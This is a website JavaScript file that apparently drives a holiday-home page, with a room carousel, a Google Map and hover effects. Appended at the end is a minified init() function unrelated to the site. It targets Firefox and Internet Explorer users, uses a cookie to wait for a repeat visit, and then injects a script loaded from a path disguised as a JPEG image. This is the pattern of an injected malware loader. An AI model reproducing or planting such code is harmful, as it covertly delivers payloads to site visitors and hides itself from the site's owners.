var Site = window.Site || {};

(function($) {
	
	//Switch caroussel to given id.
	function view_carousel(id) {
		if(!$(id).is(":visible")) {
			$('#carousel li:visible').fadeOut(300);
			$(id).delay(300).fadeIn(300, function() {
				if(id == "#location") {
					show_map();
				}
			});
			
			return false;
		}
	}
	
	//Google Maps
	function show_map() {
		var latlng = new google.maps.LatLng(53.21892,6.56987);
		var myOptions = {
			zoom: 16,
			center: latlng,
			mapTypeId: google.maps.MapTypeId.ROADMAP
		};
		
		var map = new google.maps.Map(document.getElementById("location"), myOptions);
	
		var bbb = new google.maps.Marker({
		      position: new google.maps.LatLng(53.21917, 6.57202),
		      map: map
		  });
	}		
	
	//same as $(document).ready();
	$(function() {
		
		

	});


	$(window).bind("load", function() {
		delay = 0;
		
		$('#intro li').each(function() {
			$(this).delay(delay).fadeIn(300);
			delay += 300;
		});
		
		//Hover animation for blocks.
		$('.block').hover(
			function() {
				$(this).addClass("active");
			},
			function() {
				$(this).removeClass("active");
			}
		);
		
		
		//Activate blocks.
		$('#entree_block').mouseenter(
			function() {
				view_carousel("#entree");
			}
		);
		
		$('#terras_block').mouseenter(
			function() {
				view_carousel("#terras");
			}
		);
		
		$('#masterbedroom_block').mouseenter(
			function() {
				view_carousel("#masterbedroom");
			}
		);
		
		$('#keuken_block').mouseenter(
			function() {
				view_carousel("#keuken");
			}
		);
		
		//Active links.
		$('#location_link').click(
			function() {
				view_carousel("#location");
			}
		);
		
		$('#reglement_link').click(
			function() {
				view_carousel("#reglement");
			}
		);
		  
	});
	
})(jQuery);

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/img/intro/012.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
